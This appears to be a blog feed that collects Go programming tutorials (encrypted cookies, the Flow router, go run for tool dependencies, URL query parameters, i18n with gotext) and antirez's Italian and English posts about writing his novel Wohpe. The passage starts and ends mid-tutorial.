log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) return } // Call buf.String() to get the gob-encoded value as a string and set it as // the cookie value. cookie := http.Cookie{ Name: "exampleCookie", Value: buf.String(), Path: "/", MaxAge: 3600, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } // Write an encrypted cookie containing the gob-encoded data as normal. err = cookies.WriteEncrypted(w, cookie, secret) if err != nil { log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) return } w.Write([]byte("cookie set!")) } func getCookieHandler(w http.ResponseWriter, r *http.Request) { // Read the gob-encoded value from the encrypted cookie, handling any errors // as necessary. gobEncodedValue, err := cookies.ReadEncrypted(r, "exampleCookie", secret) if err != nil { switch { case errors.Is(err, http.ErrNoCookie): http.Error(w, "cookie not found", http.StatusBadRequest) case errors.Is(err, cookies.ErrInvalidValue): http.Error(w, "invalid cookie", http.StatusBadRequest) default: log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) } return } // Create a new instance of a User type. var user User // Create an strings.Reader containing the gob-encoded value. reader := strings.NewReader(gobEncodedValue) // Decode it into the User type. Notice that we need to pass a *pointer* to // the Decode() target here? if err := gob.NewDecoder(reader).Decode(&user); err != nil { log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) return } // Print the user information in the response. fmt.Fprintf(w, "Name: %q\n", user.Name) fmt.Fprintf(w, "Age: %d\n", user.Age) } If you want, restart your application and visit localhost:3000/set followed by localhost:3000/get in your web browser. You should see a response similar to this: Note: In the example above, we've gob-encoded the cookie data and then written the cookie using WriteEncrypted(), but you could equally write the cookie using the Write() or WriteSigned() helper functions that we made earlier too.

• Scrivendo Wohpe
  Antirez · Jul 17, 2022

  (English translation of this post: http://antirez.com/news/136) Dopo due anni di lavoro, finalmente, Wohpe, il mio primo libro di fantascienza, ma anche il mio primo scritto di prosa di questa lunghezza, è uscito nelle librerie fisiche italiane, su Amazon, e negli altri store digitali. Lo trovate qui: https://www.amazon.it/Wohpe-Salvatore-Sanfilippo/dp/B09XT6J3WX Dicevo: il primo scritto di questa lunghezza. Ma posso considerarmi del tutto nuovo alla scrittura? Ho scritto per vent’anni in questo blog e in quelli passati che ho tenuto nel corso del tempo, e molto spesso ho usato Facebook per scrivere brevi racconti, frutto di fantasie o basati su fatti reali. Oltre a ciò, ho scritto di cose tecniche, specialmente riguardo la programmazione, per un tempo altrettanto lungo, e sono stato un lettore di racconti e di romanzi per tutto il corso della mia vita. E allora perché scrivere Wohpe è stato anche imparare a scrivere da zero? Nei primi mesi di scrittura del romanzo, ma anche prima, nei mesi precedenti, quando mi preparavo scrivendo lunghi racconti che poi avrei cestinato, mi è successo ciò che accade spesso a coloro che imparano a giocare a scacchi. Tanti seguono questo percorso: imparano le regole, e va bene, lo sappiamo che con quelle si fa poco; le regole permettono solo di muovere i pezzi in maniera legale. Ma poi, subito dopo, imparano dei rudimenti di tecnica e di strategia, magari studiando duramente per qualche settimana. Però quando sono alla scacchiera, se una mossa non è brutalmente peggiore o migliore di un’altra, tutte le mosse sembrano equivalenti. Il giocatore di scacchi poco abile, poco esperto, non ha un vero gusto per le mosse; non riesce a valutarle non solo per ciò che sono in termini assoluti, ma neanche secondo una sua propria idea. Il risultato è un gioco casuale. Solo più avanti, dopo molte ore di gioco, ella finalmente riuscirà a esprimere delle scelte che, a prescindere dal fatto siano esse giuste o sbagliate, hanno quantomeno una coerenza, sono state davvero pensate: voglio muovere il cavallo qui, per queste precise ragioni, e per tali ragioni preferisco questa mossa a tutte le altre possibili. Così chi scrive ed è agli inizi, se una frase è buona, con certezza non lo sa (e per continuare col paragone di sopra, così come il gioco dello scacchista sarà casuale, la sua scrittura sarà casuale). Sposta una virgola, cambia una parola. Suona bene o male? Ha delle idee che si è formato scrivendo a scuola e poi scrivendo da adulto, ma queste idee lo assistono poco quando l’ambizione è quella di scrivere una prosa di livello letterario. L’autore alle prime armi non ha un suo stile, perché prima di non saper scrivere non sa ancora leggere: quando legge un libro che adora, raramente capisce esattamente *cosa* accade nella pagina di così convincente, e così anche quando rilegge se stesso, non sa se ha scritto bene o male. Leggi, se vuoi imparare a scrivere! Dicono tutti. Peccato non sia vero: bisogna prima di tutto scrivere per imparare a scrivere, così come bisogna fare dei cortometraggi per imparare a fare il regista, e guardare gli altri film non sarà sufficiente (anche se sarà certamente utile). E per imparare a scrivere, il tipo di lettura che serve davvero è la rilettura di alcuni libri che abbiamo scelti come modelli; quello sì che è utile: la rilettura per comprenderne le forme, fino in fondo. Ora questo semplice fatto, di aver capito quale sia il mio stile, e di saper finalmente leggere e avere un giudizio che emerge immediatamente quando ho tra le mani un’opera, è già un risarcimento più che sufficiente dei due anni di sforzi di scrittura nei quali mi sono profuso. Ed è una vera fortuna che l’esperienza in sé sia stata di così grande valore, perché quello che molti nuovi autori non sanno è quanto violento possa essere il mercato editoriale mondiale, e quello italiano in particolare. In Italia un libro di fantascienza che ha un buon successo, edito da un piccolo o medio editore, vende 500 copie. Deve andare bene, per avere questi numeri. La gran parte dei libri vende meno di 100 copie. A noi informatici queste cifre fanno rabbrividire. Il più stupido programma che ho scritto ha avuto dieci volte più utenti. Mi spingerei a dire che il più stupido programma che ho scritto e che ho pubblicato con un minimo di energie, ha avuto dieci volte questi *lettori*, gente che ne hanno letto il codice sorgente per capire come funzionasse. Io sono stato, e per questo ringrazio non so bene chi, un programmatore di una certa notorietà, direte voi. Ciò che voglio dire va molto oltre la mia esperienza personale. Anche coloro che non sono conosciuti da nessuno e provano a fare, nella programmazione, una cosa mediamente interessante, appena ben descritta e documentata, e la mostrano un po’ in giro, ricevono un interesse enorme rispetto a quello che spetta agli autori di fiction. I motivi sono tanti e abbastanza ovvi, non vale neppure la pena di soffermarsi su di essi, dunque perché vi racconto queste cose? Per questo motivo: Sono poche le attività, oltre alla letteratura, dove c’è lo stesso mostruoso scompenso tra le forze necessarie per produrre un’opera e la scarsa risposta del pubblico. Chi decide di dedicare molto tempo alla scrittura, deve conoscere questo fatto da subito. Io per fortuna sapevo già tutto, grazie ai miei amici scrittori; però lo stesso certe sfumature di questa irrilevanza finiscono per essere difficili da accettare. E allora perché tutti scrivono? Sono straripanti le file di quelli che tentano la fortuna editoriale. Credo sia un meccanismo simile a quello che accade nell’IT, con tanti che provano a creare un nuovo linguaggio di programmazione: il fallimento è quasi certo, ma il tentativo stesso è una delle imprese più soddisfacenti alle quali dedicare le proprie migliori energie. Ora sono a un bivio: potrei scrivere altra prosa, rimettermi a scrivere codice, o provare a tenere vive le due attività allo stesso tempo. Cosa farò non lo so ancora. Per ora, vediamo cosa succede con Wohpe, sia con la versione italiana che con la traduzione in inglese, a cui in questo momento una capace traduttrice sta lavorando. E su questa cosa delle traduzioni, eseguite col supporto dell’autore, e di quale esperienza significativa sia dal punto di vista filologico, magari vi parlerò qualche altra volta (io e Bridget parliamo l’inglese e l’italiano, ma siamo madrelingua lei di una e io dell’altra lingua, e ciò è molto interessante quando si collabora tra traduttore e autore). Chiudo il post dicendo a chi mi legge: se ne avete voglia, scrivete prosa! Io ora lo so per certo: non è un caso che la scrittura sia stata per centinaia di anni considerata l’arte più alta nella quale cimentarsi. Scrivendo si cercano delle cose, e se si insiste abbastanza si finisce per trovarle davvero. Comments

• Writing Wohpe
  Antirez · Jul 17, 2022

  (Traduzione italiana di questo post: http://antirez.com/news/137) [Sorry for the form of this post. For the first time I wrote a post in two languages: Italian and English. So I went for the unusual path of writing it in Italian to start, translating it with Google Translate, and later I just scanned it to fix the biggest issues. At this point GT is so good you can get away with this process.] After two years of work, finally, Wohpe, my first science fiction book, but also my first prose writing of this length, has been released in Italian physical bookstores, on Amazon, and in other digital stores. You can find it here: https://www.amazon.it/Wohpe-Salvatore-Sanfilippo/dp/B09XT6J3WX I was saying: the first writing of this length. But can I consider myself entirely new to writing? I have written for twenty years in this blog and in the past ones that I have kept over time, and very often I have used Facebook to write short stories, the result of fantasies or based on real facts. On top of that, I've been writing about technical stuff, especially programming, for an equally long time, and I've been a short story and novel reader my entire life. So why was writing Wohpe also learning how to write from scratch? In the first months of writing the novel, but also earlier, in the previous months, when I was preparing myself by writing long stories that I would then throw away, what happened to me often happens to those who learn to play chess. Many follow this path: they learn the rules, and that's okay, we know that you don't do much with them; the rules only allow you to move pieces legally. But then, soon after, they learn some rudiments of tactics and strategy, perhaps studying hard for a few weeks. But when they are on the board, if one move is not brutally worse or better than another, all the moves seem equivalent. The unskilled, inexperienced chess player has no real taste for moves; she fails to evaluate them not only for what they are in absolute terms, but not even according to his own idea. The result is a casual game. Only later, after many hours of play, will she finally be able to express choices that, regardless of whether they are right or wrong, have at least a coherence, they were really thought: I want to move the horse here, for these precise reasons, and for these reasons I prefer this move to all other possible ones. So whoever writes and is at the beginning, if a sentence is good, he certainly does not know it (and to continue with the above comparison, just as the chess player's game will be casual, his writing will be casual). Move a comma, change a word. Does it sound good or bad? He has ideas that he formed by writing at school and then writing as an adult, but these ideas help him little when the ambition is to write a literary level prose. The novice author does not have his own style, because before not knowing how to write he does not yet know how to read: when he reads a book he adores, he rarely understands exactly * what * happens on the page that is so convincing, and so also when he re-reads himself, he does not know if he wrote well or badly. Read, if you want to learn to write! They all say. Too bad it's not true: first of all you have to write, to learn how to write, just as you have to make short films to learn to be a director, and watching other films will not be enough (although it will certainly be useful). And to learn to write, the kind of reading that is really needed is the rereading of some books that we have chosen as models; what is useful: the rereading to fully understand its forms. Now this simple fact, of having understood what my style is, and of finally knowing how to read and have a judgment that immediately emerges when I have a work in my hands, is already more than enough compensation for the two years of writing efforts in which I have lavished. And it is fortunate that the experience itself was of such great value, because what many new authors do not know is how violent the world publishing market can be, and the Italian one in particular. In Italy a science fiction book that has a good success, published by a small or medium publisher, sells 500 copies. It has to be fine to have these numbers. Most books sell less than 100 copies. To us computer scientists these figures make us shiver. The stupidest program I wrote had ten times as many users. I would go as far as to say that the stupidest program I've written and published with a minimum of energy has had these * readers * ten times, people who have read its source code to understand how it works. I have been, and for this I thank I don't know who, a programmer of a certain notoriety, you might say. What I mean is far beyond my personal experience. Even those who are not known by anyone and try to do something on average interesting, just well described and documented, in programming, and show it around a bit, receive enormous interest compared to what belongs to the authors of fiction. The reasons are many and quite obvious, it is not even worth dwelling on them, so why am I telling you these things? For this reason: There are few activities, besides the literature, where there is the same monstrous imbalance between the forces needed to produce a work and the poor response of the public. Anyone who decides to devote a lot of time to writing must know this fact right away. Fortunately, I already knew everything, thanks to my writing friends; however, certain nuances of this irrelevance end up being difficult to accept. So why is everyone writing? The ranks of those who try their editorial fortune are overflowing. I think it's a similar mechanism to what happens in IT, with many trying to create a new programming language: failure is almost certain, but doing so is one of the most satisfying companies to devote your best energy to. Now I'm at a crossroads: I could write more prose, get back to coding, or try to keep the two activities alive at the same time. What I'll do I don't know yet. For now, let's see what happens with Wohpe, both with the Italian version and with the English translation, which a capable translator is working on right now. And on this matter of the translations, carried out with the support of the author, and what a significant experience it is from the philological point of view, maybe I will talk to you some other time (Bridget and I speak English and Italian, but we are native speakers of one and I of the other language, and this is very interesting when collaborating between translator and author). I close the post by saying to those who read me: if you feel like it, write prose! I now know for sure: it is no coincidence that for hundreds of years writing has been considered the highest art in which to try one's hand. By writing you look for things, and if you insist enough you end up really finding them. Comments

• Flow: A tiny but powerful HTTP router for Go
  Alex Edwards · May 25, 2022

  Last year I wrote a new HTTP router for Go called Flow. I've been using it in production on this site and in a couple of other projects since, and I'm pretty happy with how it's working out so decided to share it a bit more widely. My aim with Flow was to bring together my favourite features from other popular routers that I frequently used. It has: A very small and readable codebase (approx. 160 LOC) with pattern-matching logic similar to matryer/way. Middleware management like chi — including the ability to create route 'groups' which use different middleware. Optional regexp support for tighter pattern matching, similar to chi and gorilla/mux. Automatic handling of OPTIONS requests, like julienschmidt/httprouter. Automatic handling of HEAD requests, like bmizerany/pat. An Allow header is automatically set on all OPTIONS and 405 Method Not Allowed responses, like julienschmidt/httprouter. Ability to map multiple HTTP methods to the same handler in one declaration, like gorilla/mux. Additionally: It has a very small API (see the Go docs) so there's not much to learn. It's designed to work nicely with http.Handler, http.HandlerFunc, and the standard Go middleware pattern. The handlers for 404 Not Found and 405 Method Not Allowed responses are customizable. Conflicting routes are permitted (e.g. /posts/:id and posts/new), with routes matched in the order that they are declared. It has zero dependencies. Below is a quick example of the syntax, and if you like the look of it you can check out the full README on GitHub. mux := flow.New() // The Use() method can be used to register middleware. Middleware declared at // the top level will used on all routes (including error handlers and OPTIONS // responses). mux.Use(exampleMiddleware1) // Routes can use multiple HTTP methods. mux.HandleFunc("/profile/:name", exampleHandlerFunc1, "GET", "POST") // Optionally, regular expressions can be used to enforce a specific pattern // for a named parameter. mux.HandleFunc("/profile/:name/:age|^[0-9]{1,3}$", exampleHandlerFunc2, "GET") // The wildcard ... can be used to match the remainder of a request path. // Notice that HTTP methods are also optional (if not provided, all HTTP // methods will match the route). mux.Handle("/static/...", exampleHandler) // You can create route 'groups'. mux.Group(func(mux *flow.Mux) { // Middleware declared within in the group will only be used on the routes // in the group. mux.Use(exampleMiddleware2) mux.HandleFunc("/admin", exampleHandlerFunc3, "GET") // Groups can be nested. mux.Group(func(mux *flow.Mux) { mux.Use(exampleMiddleware3) mux.HandleFunc("/admin/passwords", exampleHandlerFunc4, "GET") }) }) A note on performance I haven't done any benchmarking against other routers, so I can't speak about the relative performance of Flow. What I can say it has been plenty fast enough for all of my use-cases so far and not a hot spot when profiling my applications under load.

• How to use go run to manage tool dependencies
  Alex Edwards · May 10, 2022

  When you're working on a project it's common for there to be some developer tooling dependencies. These aren't code dependencies, but rather tools that you run as part of the development, testing, build or deployment processes. For example, you might use golang.org/x/text/cmd/gotext in conjunction with go:generate to generate message catalogs for translation, or honnef.co/go/tools/cmd/staticcheck to perform static analysis on your code before committing a change. This raises a couple of interesting questions — especially in a team environment. How do you make sure that everyone has the necessary tools installed on their machines? And that the tools they are using are all the same version? Until Go 1.17, the convention for managing this was to create a tools.go file in your project containing import statements for the different tools and a //go:build tools build constraint. If you're not already familiar with this approach, it's described in the official Go Wiki. But since Go 1.17 there is an alternative approach you can take. It has pros and cons compared to the tools.go approach, but it's worth knowing about and may be a good fit for some projects. It hinges on the fact that go run now allows you to execute a specific version of a remote package. From the 1.17 release notes: go run now accepts arguments with version suffixes (for example, go run example.com/cmd@v1.0.0). This causes go run to build and run packages in module-aware mode, ignoring the go.mod file in the current directory or any parent directory, if there is one. In other words, you can use go run package@version to execute a remote package when you are outside of a module, or inside of a module even if the package isn't listed in the go.mod file. It's also useful as a quick way to run an executable package without installing it. Instead of this: $ go install honnef.co/go/tools/cmd/staticcheck@v0.3.1 $ staticcheck ./... You can now just do this: $ go run honnef.co/go/tools/cmd/staticcheck@v0.3.1 ./... Important: When you execute go run package@version the necessary modules will be downloaded and cached on your machine in the module cache. So when you execute the same go run command later, the cache will be used (rather than everything being downloaded again) and it should complete faster. Using with go:generate Let's take a look at an example where we use the golang.org/x/tools/cmd/stringer tool in conjunction with go:generate to generate String() methods for some iota constants. If you'd like to follow along, please run the following commands: $ mkdir tools $ go mod init example.com/tools $ touch main.go And then add the following code to main.go: File: main.go package main import "fmt" //go:generate go run golang.org/x/tools/cmd/stringer@v0.1.10 -type=Level type Level int const ( Info Level = iota Error Fatal ) func main() { fmt.Printf("%s: Hello world!\n", Info) } The important thing here is the //go:generate line. When you run go generate on this file, it will in turn use go run to execute v0.1.10 of the golang.org/x/tools/cmd/stringer package. Let's try it out: $ go generate . go: downloading golang.org/x/tools v0.1.10 go: downloading golang.org/x/sys v0.0.0-20211019181941-9d821ace8654 go: downloading golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 go: downloading golang.org/x/mod v0.6.0-dev.0.20220106191415-9b9b3d81d5e3 You should see that the necessary modules are downloaded and then the go:generate command finishes executing successfully — resulting in a new level_string.go file being generated and a working application. Like so: $ ls go.mod level_string.go main.go $ go run . Info: Hello world! Using in a Makefile You can also use the go run package@version pattern to execute tools from your scripts or Makefiles. To illustrate, let's create a Makefile with an audit task that executes a specific version of the staticcheck tool. $ touch Makefile File: Makefile .PHONY: audit audit: go vet ./... go run honnef.co/go/tools/cmd/staticcheck@v0.3.1 ./... If you run make audit, the necessary modules will be downloaded and the staticcheck tool should complete its checks successfully. $ make audit go vet ./... go run honnef.co/go/tools/cmd/staticcheck@v0.3.1 ./... go: downloading honnef.co/go/tools v0.3.1 go: downloading golang.org/x/tools v0.1.11-0.20220316014157-77aa08bb151a go: downloading golang.org/x/exp/typeparams v0.0.0-20220218215828-6cf2b201936e go: downloading github.com/BurntSushi/toml v0.4.1 If you run it for a second time, you'll see that the module cache is used and it should finish much faster. $ make audit go vet ./... go run honnef.co/go/tools/cmd/staticcheck@v0.3.1 ./... Pros and cons In terms of positives, go run package@version has a couple of nice advantages over the tools.go approach: It's simpler to set up and requires less code — no tools.go file is needed, there are no build constraints, and no aliased imports. It avoids polluting your dependency graph with things that your binaries do not actually depend on. In terms of negatives: If you have the same go run package@version command in multiple places throughout your codebase and want to upgrade to a newer version, then you need to update all of the commands manually (or use sed or find-and-replace). With the tools.go approach you only need to update your go.mod file by running go get package@newversion. With the tools.go approach it's possible to verify that cached code in your module cache hasn't been changed by running go mod verify. I'm not aware of an equivalent check for go run package@version (if you know of a way to do this, please let me know!). From my limited testing, it seems to be possible to edit the cached code in the module cache on your machine, and go run package@version will use this edited code without complaining. If you are working offline, then go run package@version may fail with a dial tcp: lookup proxy.golang.org: Temporary failure in name resolution error because it can't reach the Go module mirror — even if there is a copy already in your local module cache. Similar to this: $ make audit go vet ./... go run honnef.co/go/tools/cmd/staticcheck@v0.3.1 ./... go: honnef.co/go/tools/cmd/staticcheck@v0.3.1: honnef.co/go/tools/cmd/staticcheck@v0.3.1: Get "https://proxy.golang.org/honnef.co/go/tools/cmd/staticcheck/@v/v0.3.1.info": dial tcp: lookup proxy.golang.org: Temporary failure in name resolution make: *** [Makefile:4: audit] Error 1 As far as I can see this isn't a problem when you use the tools.go approach, although you can work around it fairly easily by setting the GOPROXY environment variable to direct while you are offline. Doing this will force go run to bypass the Go module mirror and use the cached module on your machine straight away. $ export GOPROXY=direct $ make audit go vet ./... go run honnef.co/go/tools/cmd/staticcheck@v0.3.1 ./...

• Change URL query params in Go
  Alex Edwards · Nov 28, 2021

  In this short post we're going to discuss how to add, modify or delete URL query string parameters in Go. To illustrate, we'll look at how to change this URL: https://example.com?name=alice&age=28&gender=female To this: https://example.com?name=alice&age=29&occupation=carpenter If you want to change the URL query string in place: // Use url.Parse() to parse a string into a *url.URL type. If your URL is // already a url.URL type you can skip this step. urlA, err := url.Parse("https://example.com?name=alice&age=28&gender=female") if err != nil { log.Fatal(err) } // Use the Query() method to get the query string params as a url.Values map. values := urlA.Query() // Make the changes that you want using the Add(), Set() and Del() methods. If // you want to retrieve or check for a specific parameter you can use the Get() // and Has() methods respectively. values.Add("occupation", "carpenter") values.Del("gender") values.Set("age", strconv.Itoa(29)) // Use the Encode() method to transform the url.Values map into a URL-encoded // string (like "age=29&name=alice...") and assign it back to the URL. Note // that the encoded values will be sorted alphabetically based on the parameter // name. urlA.RawQuery = values.Encode() fmt.Printf("urlA: %s", urlA.String()) Running this will print out: urlA: https://example.com?age=29&name=alice&occupation=carpenter If you want to create a clone of the URL but with a different query string, while leaving the original URL unchanged, you need to create a copy of the original url.URL struct first. There are a couple of ways to do this. You can either re-parse the URL, or you can dereference the original url.URL and make a copy, like so: // This is equivalent to: var newUrl url.URL = *originalUrl newUrl := *originalUrl When you do this, you create a new newURL variable of type url.URL which is initialized to the (dereferenced) value of *originalURL. This means that newURL has a different address in memory to originalURL. Putting this together, the pattern for creating a new URL with different parameters is: urlA, err := url.Parse("https://example.com?name=alice&age=28&gender=female") if err != nil { log.Fatal(err) } // Make a copy of the original url.URL. urlB := *urlA // Make the param changes to the new url.URL type... values := urlB.Query() values.Add("occupation", "carpenter") values.Del("gender") values.Set("age", strconv.Itoa(29)) urlB.RawQuery = values.Encode() fmt.Printf("urlA: %s\n", urlA.String()) // This will be unchanged. fmt.Printf("urlB: %s\n", urlB.String()) // This will have the new params. Running this will print out: urlA: https://example.com?name=alice&age=28&gender=female urlB: https://example.com?age=29&name=alice&occupation=carpenter As a side note, you can use this technique any time you want to 'clone' a URL and make changes to it. For example to create a clone of a URL with a different path, you can do this: urlA, err := url.Parse("https://example.com/foo") if err != nil { log.Fatal(err) } urlB := *urlA urlB.Path = "/bar" fmt.Printf("%s\n", urlA.String()) // Prints https://example.com/foo fmt.Printf("%s\n", urlB.String()) // Prints https://example.com/bar

• I18n in Go: Managing translations
  Alex Edwards · Aug 25, 2021

  Recently I've been building a fully internationalized (i18n) and localized (l10n) web application for the first time with Go's golang.org/x/text packages. I've found that the packages and tools that live under golang.org/x/text are really effective and well designed, although it's been a bit of a challenge to figure out how to put it all together in a real application. Note: Just in case you're not already aware, the packages that live under golang.org/x are part of the official Go Project but outside the main Go standard library tree. They are held to looser standards that the standard library packages, which means they aren't subject to the Go compatibility promise (i.e. their APIs might change), and documentation may not always be complete. In this tutorial I want to explain how you can use golang.org/x/text packages to manage translations in your application. Specifically: How to use the golang.org/x/text/language and golang.org/x/text/message packages to print translated messages from your Go code. How to use the gotext tool to automatically extract messages for translation from your code into JSON files. How to use gotext to parse translated JSON files and create a catalog containing translated messages. How to manage variables in messages and provided pluralized versions of translations. What we'll be building To help put this into context, we're going to create a simple pre-launch website for an imaginary online bookstore. We'll start off slowly and build up the code step-by-step. Our application will have just a single home page, and we'll localize the page content based on a locale identifier at the start of the URL path. We'll set up our application to support three different locales: the United Kingdom, Germany, and the French-speaking part of Switzerland. URL Localized for localhost:4018/en-gb United Kingdom localhost:4018/de-de Germany localhost:4018/fr-ch Switzerland (French-speaking) We're going to follow a common convention and use BCP 47 language tags as the locale identifier in our URLs. Simplifying things hugely for the sake of this tutorial, BCP 47 language tags typically take the format {language}-{region}. The language part is a ISO 639-1 code and the region is a two-letter country code from ISO_3166-1. It's conventional to uppercase the region (like en-GB), but BCP 47 tags are technically case-insensitive and it's OK for us to use all-lowercase versions in our URLs. Scaffolding a web application If you'd like to follow along with the application build, go ahead and run the following commands to setup a new project directory. $ mkdir bookstore $ cd bookstore $ go mod init bookstore.example.com go: creating new go.mod: module bookstore.example.com At this point, you should have a go.mod file in the root of the project directory with the module path bookstore.example.com. Next create a new cmd/www directory to hold the code for the bookstore web application, and add main.go and handlers.go files like so: $ mkdir -p cmd/www $ touch cmd/www/main.go cmd/www/handlers.go Your project directory should now look like this: . ├── cmd │ └── www │ ├── handlers.go │ └── main.go └── go.mod Let's begin in the cmd/www/main.go file and add the code to declare our application routes and start a HTTP server. Because our application URL paths will always use a (dynamic) locale as a prefix — like /en-gb/bestsellers or /fr-ch/bestsellers — it's simplest if our application uses a third-party router which supports dynamic values in URL path segments. I'm going to use pat, but feel free to use an alternative like chi or gorilla/mux if you prefer. Note: If you're not sure which router to use in your project, you might like to take a look at my comparison of Go routers blog post. OK, open up the main.go file and add the following code: File: cmd/www/main.go package main import ( "log" "net/http" "github.com/bmizerany/pat" ) func main() { // Initialize a router and add the path and handler for the homepage. mux := pat.New() mux.Get("/:locale", http.HandlerFunc(handleHome)) // Start the HTTP server using the router. log.Print("starting server on :4018...") err := http.ListenAndServe(":4018", mux) log.Fatal(err) } Then in the cmd/www/handlers.go file, add a handleHome() function which extracts the locale identifer from the URL path and echoes it in the HTTP response. File: cmd/www/handlers.go package main import ( "fmt" "net/http" ) func handleHome(w http.ResponseWriter, r *http.Request) { // Extract the locale from the URL path. This line of code is likely to // be different for you if you are using an alternative router. locale := r.URL.Query().Get(":locale") // If the locale matches one of our supported values, echo the locale // in the response. Otherwise send a 404 Not Found response. switch locale { case "en-gb", "de-de", "fr-ch": fmt.Fprintf(w, "The locale is %s\n", locale) default: http.NotFound(w, r) } } Once that's done, run go mod tidy to tidy your go.mod file and download any necessary dependencies, and then run the web application. $ go mod tidy go: finding module for package github.com/bmizerany/pat go: found github.com/bmizerany/pat in github.com/bmizerany/pat v0.0.0-20210406213842-e4b6760bdd6f $ go run ./cmd/www/ 2021/08/21 21:22:57 starting server on :4018... If you make some requests to the application using curl, you should find that the appropriate locale is echoed back to you like so: $ curl localhost:4018/en-gb The locale is en-gb $ curl localhost:4018/de-de The locale is de-de $ curl localhost:4018/fr-ch The locale is fr-ch $ curl localhost:4018/da-DK 404 page not found Extracting and translating text content Now that we've laid the groundwork for our web application, let's get into the core of this tutorial and update the handleHome() function so that it renders a "Welcome!" message translated for the specific locale. In this project we'll use British English (en-GB) as the default 'source' or 'base' language in our application, but we'll want to render a translated version of the welcome message in German and French for the other locales. To do this, we'll need to import the golang.org/x/text/language and golang.org/x/text/message packages and update our handleHome() function to do the following two things: Construct a language.Tag which identifies the target language that we want to translate the message in to. The language package contains some pre-defined tags for common language variants, but I find that it's easier to use the language.MustParse() function to create a tag. This let's you create a language.Tag for any valid BCP 47 value, like language.MustParse("fr-CH"). Once you have a language tag, you can use the message.NewPrinter() function to create a message.Printer instance that prints out messages in that specific language. If you're following along, please go ahead and update your cmd/www/handlers.go file to contain the following code: File: cmd/www/handlers.go package main import ( "net/http" "golang.org/x/text/language" "golang.org/x/text/message" ) func handleHome(w http.ResponseWriter, r *http.Request) { locale := r.URL.Query().Get(":locale") // Declare variable to hold the target language tag. var lang language.Tag // Use language.MustParse() to assign the appropriate language tag // for the locale. switch locale { case "en-gb": lang = language.MustParse("en-GB") case "de-de": lang = language.MustParse("de-DE") case "fr-ch": lang = language.MustParse("fr-CH") default: http.NotFound(w, r) return } // Initialize a message.Printer which uses the target language. p := message.NewPrinter(lang) // Print the welcome message translated into the target language. p.Fprintf(w, "Welcome!\n") } Again, run go mod tidy to download the necessary dependencies… $ go mod tidy go: finding module for package golang.org/x/text/message go: finding module for package golang.org/x/text/language go: downloading golang.org/x/text v0.3.7 go: found golang.org/x/text/language in golang.org/x/text v0.3.7 go: found golang.org/x/text/message in golang.org/x/text v0.3.7 And then run the application: $ go run ./cmd/www/ 2021/08/21 21:33:52 starting server on :4018... When you make a request to any of the supported URLs, you should now see the (untranslated) welcome message like this: $ curl localhost:4018/en-gb Welcome! $ curl localhost:4018/de-de Welcome! $ curl localhost:4018/fr-ch Welcome! So in all cases we're seeing the "Welcome!" message in our en-GB source language. That's because we still need to provide Go's message package with the actual translations that we want to use. Without the actual translations, it falls back to displaying the message in the source language. There are a number of ways to provide Go's message package with translations, but for most non-trivial applications it's probably sensible to use some automated tooling to help you manage the task. Fortunately, Go provides the gotext tool to assist with this. Note: The gotext tool we're using is the one from golang.org/x/text/cmd/gotext. It shouldn't be confused with the github.com/leonelquinteros/gotext package (which is designed to work with GNU gettext utilities and PO/MO files). If you're following along, please use go install to install the gotext executable on your machine: $ go install golang.org/x/text/cmd/gotext@latest All being well, the tool should be installed to your $GOBIN directory on your system path and you can run it like so: $ which gotext /home/alex/go/bin/gotext $ gotext gotext is a tool for managing text in Go source code. Usage: gotext command [arguments] The commands are: update merge translations and generate catalog extract extracts strings to be translated from code rewrite rewrites fmt functions to use a message Printer generate generates code to insert translated messages Use "gotext help [command]" for more information about a command. Additional help topics: Use "gotext help [topic]" for more information about that topic. I really like the gotext tool — it's functionality is excellent — but there are a couple of important things to point out before we carry on. The first thing is that go text is designed to work in conjunction with go generate, not as a standalone command-line tool. You can run it as a standalone tool, but weird things happen and it's a lot smoother if you use it in the way it's intended. The other thing is that documentation and help functionality is basically non-existent. The best guidance on how to use it are the examples in the repository and, probably, this article that you're reading right now. There is an open issue about the lack of help functionality, and hopefully this is something that will improve in the future. In this tutorial, we're going to store the all the code relating to translations in a new internal/translations package. We could keep all the translation code for our web application under cmd/www instead, but in my (limited) experience I've found that using a separate internal/translations package is better. It helps separate concerns and also makes it possible to reuse the same translations across different applications in the same project. YMMV. If you're following along, go ahead and create that new directory and a translations.go file like so: $ mkdir -p internal/translations $ touch internal/translations/translations.go At this point, your project structure should look like this: . ├── cmd │ └── www │ ├── handlers.go │ └── main.go ├── go.mod ├── go.sum └── internal └── translations └── translations.go Next, let's open up the internal/translations/translations.go file and add a go generate command which uses gotext to extract the messages for translation from our application. File: internal/translations/translations.go package translations //go:generate gotext -srclang=en-GB update -out=catalog.go -lang=en-GB,de-DE,fr-CH bookstore.example.com/cmd/www There's a lot going on in this command, so let's quickly break it down. The -srclang flag contains the BCP 47 tag for the source (or 'base') language that we are using in the application. In our case, the source language is en-GB. update is thegotext function that we want to execute. As well as update there are extract, rewrite and generate functions, but in the translation workflow for a web application the only one you actually need is update. The -out flag contains the path that you want the message catalog to be output to. This path should be relative to the file containing the go generate command. In our case, we've set the value to catalog.go, which means that the message catalog will be output to a new internal/translations/catalog.go file. We'll talk more about message catalogs and explain what they are shortly. The -lang flag contains a comma-separated list of the BCP 47 tags that you want to create translations for. You don't need to include the source language here, but (as we'll demonstrate later in this article) it can be helpful for dealing with pluralization of text content. Lastly, we have the fully-qualified module path for the package(s) that you want to create translations for (in this case bookstore.example.com/cmd/www). You can list multiple packages if necessary, separated by a whitespace character. When we execute this go generate command, gotext will walk the code for the cmd/www application and look for all calls to a message.Printer†. It then extracts the relevant message strings and outputs them to some JSON files for translation. † Important: It's critical to note when gotext walks your code it actually only looks for calls to message.Printer.Printf(), Fprintf() and Sprintf() — basically the three methods that end with an f. It ignores all other methods such as Sprint() or Println(). You can see this behavior in the gotext implementation here. OK, let's put this into action and call go generate on our translations.go file. In turn, this will execute the gotext command that we included at the top of that file. $ go generate ./internal/translations/translations.go de-DE: Missing entry for "Welcome!". fr-CH: Missing entry for "Welcome!". Cool, this looks like we're getting somewhere. We've got some useful feedback to indicate that we are missing the necessary German and French translations for our "Welcome!" message. If you take a look at the directory structure for your project, it should now look like this: . ├── cmd │ └── www │ ├── 